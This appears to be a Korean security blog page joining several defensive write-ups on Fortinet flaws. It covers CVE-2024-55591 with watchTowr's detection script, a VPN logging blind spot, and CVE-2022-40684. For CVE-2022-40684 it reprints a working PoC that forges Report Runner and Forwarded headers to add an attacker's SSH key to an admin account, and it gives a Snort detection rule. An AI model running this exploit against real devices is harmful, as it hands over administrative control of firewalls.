1. 대체 경로, 대체 채널

- 인증이나 정상적인 보안 메커니즘을 우회하는 공격 경로를 의미 (CWE-288) [1]

 

- 대체 경로(Alternate Path)
시스템이 정상적으로 인증을 요구하는 주요 경로(로그인 페이지 등)를 우회할 수 있는 비표준적인(≒비공식적인) 경로
> 디버깅용 또는 개발 테스트용 백도어가 남아있는 경우
> 사용자 입력 값(URL 매개변수)을 조작해 비인가된 데이터를 조회
> 잘못된 권한 검증으로 특정 파일 또는 디렉토리에 접근

> 대응 : 디버깅 및 테스트 코드 제거, 입력 값 검증, 숨겨진 디렉터리 접근 방지 등

 

- 대체 채널(Alternate Channel)
정상적인 인증 프로세스와 보안 채널(HTTPS 등)을 우회하여 비정상적인 통신 채널을 통해 시스템에 접근하거나 데이터를 전송하는 것
> HTTP 요청을 통해 정보 전송 및 평문 가로채기
> 레거시 프로토콜을 통해 암호화되지 않은 정보 가로채기
> 모바일 앱, IoT 기기에서 SSL/TLS 인증서 검증이 불완전해 중간자 공격으로 데이터 탈취

> 대응 : HTTPS 강제 적용, 레거시 프로토콜 비활성화, SSL/TLS 검증 강화, 네트워크 모니터링 및 로그 관리 등

2. CVE-2024-55591

[사진 1] CVE-2024-55591 [2]

- Fortinet 제품의 대체 경로 또는 대체 채널 문제로 인해 발생하는 인증 우회 취약점 (CVSS: 9.8)

> 공격자는 Node.js 웹소켓 모듈에 대한 조작된 요청을 통해 슈퍼 관리자 권한을 얻을 수 있음

※ 취약점 관련 상세 내용 확인 불가

영향받는 제품
- FortiOS 7.0 : 7.0.0 이상 ~ 7.0.16 이하
- FortiProxy : 7.2.0 이상 ~ 7.2.12 이하 / 7.0.0 이상 ~ 7.0.19 이하

 

- 관련 PoC [3]

> 총 5개의 조건을 충족할 경우 취약 (status_code_1_check, status_code_2_check, body_checks, header_marker_check, connection_upgrade_check)

구분 설명
status_code_1_check - 첫 번째 요청 및 응답으로 해당 페이지가 로그인 관련 페이지인지 확인

first_url = f"{base_url}/login?redir=/ng"
first_response = requests.get(first_url, verify=False, timeout=10)
<중략>
status_code_1_check = first_response.status_code == 200
status_code_2_check - 두 번째 요청 및 응답으로 WebSocket 업그레이드 가능 여부 확인

second_url = f"{base_url}/watchTowr-{random_suffix}"
second_headers = {
'Sec-WebSocket-Version': '13',
'Sec-WebSocket-Key': 'thFz/fKwzu5wDEy0XO3fcw==',
'Connection': 'keep-alive, Upgrade',
'Upgrade': 'websocket'
}
second_response = requests.get(second_url, headers=second_headers, verify=False, timeout=10)
<중략>
status_code_2_check = second_response.status_code == 101

※ 응답코드 101 : 클라이언트가 보낸 업그레이드 요청 헤더에 대한 응답으로, 서버가 클라이언트의 Upgrade 요청을 받아들여 프로토콜을 변경할 것임을 알림, 주로 WebSocket 프로토콜 전환 시 사용 [4]
body_checks - 첫 번째 응답에서 세 가지 값 (html_main_app_check,  f_icon_warning_check, f_icon_closing_check)의 만족 여부 확인

html_main_app_check = '<html class="main-app">' in first_response.text
f_icon_warning_check = '<f-icon class="fa-warning' in first_response.text
f_icon_closing_check = '</f-icon>' in first_response.text
<중략>
body_checks = html_main_app_check and f_icon_warning_check and f_icon_closing_check
header_marker_check - 첫 번째 응답에서 특정 헤더 (APSCOOKIE_)의 존재 여부 확인

header_marker_check = any('APSCOOKIE_' in str(header) for header in first_response.headers.values())
connection_upgrade_check - 두 번째 응답에서 Connection 헤더의 값 확인

connection_upgrade_check = 'Upgrade' in second_response.headers.get('Connection', '')
import requests
import random
from uuid import uuid4
from datetime import datetime, timedelta
import argparse

banner = """\
             __         ___  ___________                   
     __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
     \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\\\|    | /  _ \\ \\/ \\/ \\_  __ \\
      \\     / / __ \\|  | \\  \\\\___|   Y  |    |(  <_> \\     / |  | \\\n       \\/\\_/ (____  |__|  \\\\\\\___  |___|__|__  | \\\\__  / \\\/\\_/  |__|   
                  \\\          \\\     \\\                              

        CVE-2024-55591.py
        (*) Fortinet FortiOS Authentication Bypass (CVE-2024-55591) vulnerable detection by watchTowr
        
          - Sonny , watchTowr (sonny@watchTowr.com)
          - Aliz Hammond, watchTowr (aliz@watchTowr.com)

        CVEs: [CVE-2024-55591]
"""

def generate_random_suffix(length=6):
    """Generate a random lowercase suffix."""
    return ''.join(random.choice('abcdefghijklmnopqrstuvwxyz') for _ in range(length))

def perform_web_interaction(target, port):
    """
    Perform a two-step web interaction with specific parameters.
    
    Args:
        target (str): Target IP address
        port (int): Target port
    
    Returns:
        tuple: Results of the two requests
    """
    # Construct base URL
    base_url = f"https://{target}:{port}"
    
    # Generate random suffix
    random_suffix = generate_random_suffix()
    
    # Disable SSL verification warnings
    requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
    
    # First request - login-like endpoint
    first_url = f"{base_url}/login?redir=/ng"
    first_response = requests.get(first_url, verify=False, timeout=10)
    
    # Second request - endpoint with random suffix
    second_url = f"{base_url}/watchTowr-{random_suffix}"
    second_headers = {
        'Sec-WebSocket-Version': '13',
        'Sec-WebSocket-Key': 'thFz/fKwzu5wDEy0XO3fcw==',
        'Connection': 'keep-alive, Upgrade',
        'Upgrade': 'websocket'
    }
    second_response = requests.get(second_url, headers=second_headers, verify=False, timeout=10)
    
    return first_response, second_response

def validate_interaction_conditions(first_response, second_response):
    """
    Validate specific conditions for the web interaction.
    
    Args:
        first_response (requests.Response): First HTTP response
        second_response (requests.Response): Second HTTP response
    
    Returns:
        bool: Whether all conditions are met
    """
    try:
        # Check status codes
        status_code_1_check = first_response.status_code == 200
        status_code_2_check = second_response.status_code == 101
        
        # Check body contents for first response
        html_main_app_check = '<html class="main-app">' in first_response.text
        f_icon_warning_check = '<f-icon class="fa-warning' in first_response.text
        f_icon_closing_check = '</f-icon>' in first_response.text
        
        body_checks = html_main_app_check and f_icon_warning_check and f_icon_closing_check
        
        # Check for specific header marker
        header_marker_check = any('APSCOOKIE_' in str(header) for header in first_response.headers.values())
        
        # Check connection upgrade for second response
        connection_upgrade_check = 'Upgrade' in second_response.headers.get('Connection', '')
        
        # Print detailed information about first response matchers
        if not html_main_app_check:
            print("[!] Target is not a FortiOS Management Interface")
            exit()
        
        if not f_icon_warning_check:
            print("[!] '<f-icon class=\"fa-warning\"' not found in response")

        # Combine all checks
        return all([
            status_code_1_check,
            status_code_2_check,
            body_checks,
            header_marker_check,
            connection_upgrade_check
        ])
    except Exception as e:
        print(f"[!] Error during validation: {e}")
        return False

def main():
    """
    Main function to run the web interaction checks.
    """
    print(banner)

    parser = argparse.ArgumentParser(description='CVE-2024-55591 Detection Tool')
    parser.add_argument('--target', '-t', type=str, help='IP address of the target', required=True)
    parser.add_argument('--port', '-p', type=int, help='Port of the target', required=False, default=443)
    args = parser.parse_args()

    try:
        print(f"[*] Targeting: https://{args.target}:{args.port}")
        first_response, second_response = perform_web_interaction(args.target, args.port)
        
        result = validate_interaction_conditions(first_response, second_response)
        
        if result:
            print("[!] VULNERABLE: All conditions were met")
        else:
            print("[*] NOT VULNERABLE: Conditions were not satisfied")
        
    except requests.RequestException as e:
        print(f"[!] Request error: {e}")
    except Exception as e:
        print(f"[!] Unexpected error: {e}")

if __name__ == "__main__":
    main()

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [5]

제품명 영향받는 버전 해결 버전
FortiOS 7.0 7.0.0 이상 ~ 7.0.16 이하 7.0.17 이상
FortiProxy 7.2.0 이상 ~ 7.2.12 이하 7.2.13 이상
7.0.0 이상 ~ 7.0.19 이하 7.0.20 이상

 

> Fortinet 권고사항 [6]

구분 설명
로그 점검 - 랜덤 scrip 및 dstip가 포함된 로그인 활동 관련 로그:
type="event" subtype="system" level="information" vd="root" logdesc="Admin login successful" sn="1733486785" user="admin" ui="jsconsole" method="jsconsole" srcip=1.1.1.1 dstip=1.1.1.1 action="login" status="success" reason="none" profile="super_admin" msg="Administrator admin logged in successfully from jsconsole"

-  무작위로 생성된 것처럼 보이는 사용자 이름과 소스 IP가 포함된 관리자 생성 로그:
type="event" subtype="system" level="information" vd="root" logdesc="Object attribute configured" user="admin" ui="jsconsole(127.0.0.1)" action="Add" cfgtid=1411317760 cfgpath="system.admin" cfgobj="vOcep" cfgattr="password[*]accprofile[super_admin]vdom[root]" msg="Add system.admin vOcep"

-  로그에서 공격자들이 사용한 것으로 나타난 IP 주소:
1.1.1[.]1
127.0.0[.]1
2.2.2[.]2
8.8.8[.]8
8.8.4[.]4
위협행위자 수행 작업 점검 - 임의의 사용자 이름으로 장치에 관리자 계정 생성
- 임의의 사용자 이름으로 장치에 로컬 사용자 계정 생성
- 사용자 그룹 생성 또는 기존 sslvpn 사용자 그룹에 위의 로컬 사용자 추가
- 기타 설정(방화벽 정책, 방화벽 주소 등) 추가/변경
- 위에 추가된 로컬 사용자로 sslvpn에 로그인하여 내부 네트워크로 가는 터널 생성
공격 IP 점검 및 차단 -  45.55.158[.]47 [가장 많이 사용되는 IP 주소]
-  87.249.138[.]47
-  155.133.4[.]175
-  37.19.196[.]65
-  149.22.94[.]37
권고 - HTTP/HTTPS 관리 인터페이스 비활성화
- 로컬-인 정책을 통해 관리 인터페이스에 접근할 수 있는 IP 주소를 제한

4. 참고

[1] https://cwe.mitre.org/data/definitions/288.html
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-55591
[3] https://github.com/watchtowrlabs/fortios-auth-bypass-check-CVE-2024-55591/tree/main?tab=readme-ov-file
[4] https://docs.whatap.io/url/url-http-status
[5] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71632
[6] https://www.fortiguard.com/psirt/FG-IR-24-535
[7] https://arcticwolf.com/resources/blog/console-chaos-targets-fortinet-fortigate-firewalls/
[8] https://www.dailysecu.com/news/articleView.html?idxno=163036

요약 - 포티넷 VPN, 설계 결함으로 브루트포스 공격 중 성공적인 로그인 시도가 로그에 기록되지 않음
- 포티넷은 이를 취약점으로 간주하지 않으며, 패치 제공 계획 없음
내용 - 포티넷 VPN은 인증(Authentication) 단계와 권한 부여(Authorization) 단계로 로그인 과정을 나눔
> 일반적으로 로그인 시도가 실패하면 인증 단계에서 로그가 기록
> 성공적인 로그인은 권한 부여 단계까지 완료된 경우에만 로그가 기록
> 인증 단계 이후 프로세스를 중단하여 성공적인 로그인이 로그에 남지 않도록 할 수 있음을 확인

- Burp Suite 등의 테스트 도구를 사용해 VPN 클라이언트-서버 간 통신 분석
> 유효한 자격 증명을 확인했을 때 서버에서 반환하는 특정 값(ret)을 이용해 성공 여부 판별 가능
> ret=1 : 성공적인 로그인 / ret=0 : 실패한 로그인
> 인증 단계에서 프로세스 중단 시 성공적인 로그인 시도가 기록되지 않고 실패한 시도만 남아 관리자에 혼란 유발 가능

- 해당 결함은 브루트포스 공격이 탐지되어도 자격 증명을 성공적으로 확보했는지 확인할 수 없게 만듬

- 포티넷은 취약점으로 간주하지 않음
> 문제 해결 계획 역시 확인되지 않음
> 연구진은 결함 악용 방법을 공개하며 모니터링 강화 권고
기타 - 비정상적인 인증 시도를 탐지할 수 있도록 해야 함
> 추가 모니터링 도구 도입
> 보안 정책과 로그 기록 체계 재검토
> 모든 인증 시도 기록 및 실시간 분석 등

- 로그 기록의 완전성이 얼마나 중요한지 보여주는 사례

 

보안뉴스

 

[주의] 포티넷 VPN 심각한 결함 발견돼…공격자, 브루트포스 공격 성공해도 들키지 않아 - 데일리

포티넷(Fortinet) VPN 서버에서 브루트포스 공격 중 성공적인 로그인 시도가 로그에 기록되지 않는 설계 결함이 발견됐다. 이 결함은 공격자가 유효한 자격 증명을 확인하면서도 이를 보안 관리자

www.dailysecu.com

 

FortiClient VPN Logging Blind Spot Revealed

Security research that presents a method to automatically validate credentials against Fortinet VPN servers by uncovering an exploit that attackers can use to compromise countless organizations.

pentera.io

 

1. Fortinet

- 보안 솔루션을 개발 및 판매하는 다국적 기업

 

Fortinet: 업계 최고의 사이버 보안 업체 및 멀웨어 보안 기능

Fortinet: 업계 최고의 사이버 보안 업체 및 멀웨어 보안 기능

www.fortinet.com

 

2. CVE-2022-40684

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2022-40684

- 취햑한 버전의 Fortinet 제품 Fortinet FortiOS, FortiProxy, FortiSwitchManager에서 조작된 HTTP/HTTPS 요청을 통해 발생하는 인증 우회 취약점 (CVSS 9.8점)

- FortiOS : Fortigate 방화벽 및 스위치와 같은 하드웨어에서 사용되는 Fortinet의 리눅스 기반 운영 체제
- FortiProxy : 여러 가지 탐지 기술(웹 필터링, DNS 필터링, 데이터 손실 방지, 안티바이러스, 침입 방지 및 지능형 위협 보호)을 통합하여 인터넷에서 발생하는 공격으로부터 보호하는 웹 프록시
- FortiSwitchManager : FortiSwitch 템플릿과 VLAN을 중앙에서 관리하고 FortiGate 장치에 연결된 FortiSwitch 장치를 모니터링
취약 버전
① FortiOS : 7.2.0 ~ 7.2.1 및 7.0.0 ~ 7.0.6
② FortiProxy : 7.2.0 및 버전 7.0.0 ~ 7.0.6
③ FortiSwitchManager : 7.0.0 및 7.2.0
* FortiOS version 5.x, 6.x는 영향받지 않음

 

2.1 공격 원리

- 먼저 GET 요청을 통해 Fortinet 어플라이언스가 있는지 확인

[사진 2] GET 요청 예시

 

- Fortinet 어플라이언스 존재 시(취약한 서버 확인 시) PUT 요청을 통해 admin의 SSH 키를 자신의 키로 수정

- 이때, User-Agent 헤더와 Forwarded헤더를 조작

[사진 3] PUT 요청 예시

 

- 공격자의 접근을 위한 로컬 사용자 추가

 

2.2 취약점 분석

- 전달된 헤더를 구문 분석하고 for 및 by 필드를 추출하여 Apache request_rec 구조에 연결

[사진 4] 헤더 구문 분석

- vdom 소켓 옵션이 신뢰할 수 있는지 확인하는 api_check_access_for_trusted_source 함수를 사용하지만 그 다음 is_trusted_ip_and_user_agent 함수로 넘어감.

[사진 5] api_check_access

 

- client_ip가 "127.0.01"이고 User-Agent 헤더가 두 번째 매개변수와 일치하는지 확인하는 함수

- 이 함수는 "Node.js"와 "Report Runner"의 두 가지 가능한 매개변수로 호출

- "Node.js" 경로는 추가 유효성 검사를 수행하는 것처럼 보이지만 "Report Runner"를 사용하면 인증을 우회하고 API 요청을 수행할 수 있음

[사진 6] is_trusted_ip_and_user_agent

 

2.3 PoC 분석

#!/usr/bin/python3
import argparse
import json
import requests
import urllib3
requests.packages.urllib3.disable_warnings()
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


HEADERS = {
    'User-Agent': 'Report Runner',
    'Forwarded': 'for="[127.0.0.1]:8888";by="[127.0.0.1]:8888"'
}

def format_key(key_file):
    with open(key_file) as f:
        k = f.read().strip()

    return(k)


def add_key(target, username, key_file):
    key = format_key(key_file)
    j = {
        "ssh-public-key1": '\"' + key + '\"'
    }
    url = f'https://{target}/api/v2/cmdb/system/admin/{username}'
    r = requests.put(url, headers=HEADERS, json=j, verify=False)
    if 'SSH key is good' not in r.text:
        print(f'[-] {target} is not vulnerable!')
    else:
        print(f'[+] SSH key for {username} added successfully!')

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-u', '--username', help='The user to add an SSH key file for', required=True)
    parser.add_argument('-k', '--key-file', help='The SSH key file', required=True)
    args = parser.parse_args()

    add_key(args.target, args.username, args.key_file)

- PoC를 확인해보면 다음을 확인해 볼 수 있음

① /api/v2/cmdb/system/admin URL로 요청이 이루어짐 : Fortinet 어플라이언스 여부 확인

② is_trusted_ip_and_user_agent 함수를 우회하기 위해 헤더값 조작 : Fowarded 헤더를 사용하여 공격자는 client_ip 를 "127.0.0.1" 및 User-Agent 가 "Report Runner" 설정

 

3. 대응방안

3.1 서버측면

① 최신 업데이트 적용

- FortiOS : 7.2.2 또는 7.0.7
- FortiProxy : 7.2.1 또는 7.0.7
- FortiSwitchManager : 7.2.1

- FG6000F, 7000E/F 시리즈 플랫폼의 경우 FortiOS 버전 7.0.5 B8001로 업데이트

 

② 즉시 보안 업데이트가 어려운 제품 사용자

- HTTP/HTTPS 관리 인터페이스 비활성화

- 관리 인터페이스에 도달할 수 있는 IP 제한 등 임시 조치를 권고

- 이 후 최신 버전으로 업데이트 필요

 

3.2 네트워크 측면

① PoC를 토대로 "/api/v2/cmdb/system/admin", "User-Agent: Report Runner", "127.0.0.1" 문자열이 포함된 경우 탐지하는 패턴을 등록함

alert tcp any any -> any any (msg:"Fortinet_Auth Bypass_Detected"; content:"/api/v2/cmdb/system/admin"; content:"|20|HTTP/"; content:"|0d 0a|User-Agent|3a| Report Runner"; content:"127.0.0.1";)

 

3.3 공통

① 로그 모니터링

- 해당 취약점에 노출되었는지 확인

- 장치 로그에서 user=" Local_Process_Access", user_interface=" Node.js" 또는 user_interface=" Report Runner" 확인 

 

4. 참조

https://nvd.nist.gov/vuln/detail/CVE-2022-40684

https://www.fortiguard.com/psirt/FG-IR-22-377

https://github.com/horizon3ai/CVE-2022-40684

https://www.wordfence.com/blog/2022/10/threat-advisory-cve-2022-40684-fortinet-appliance-auth-bypass/

https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684/

https://www.wordfence.com/blog/2022/10/threat-advisory-cve-2022-40684-fortinet-appliance-auth-bypass/

https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66965&queryString=cGFnZT0xJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PWRpc3BsYXlfY29udGVudHMmc2VhcmNoX3dvcmQ9Q1ZFLTIwMjItNDA2ODQ= 

+ Recent posts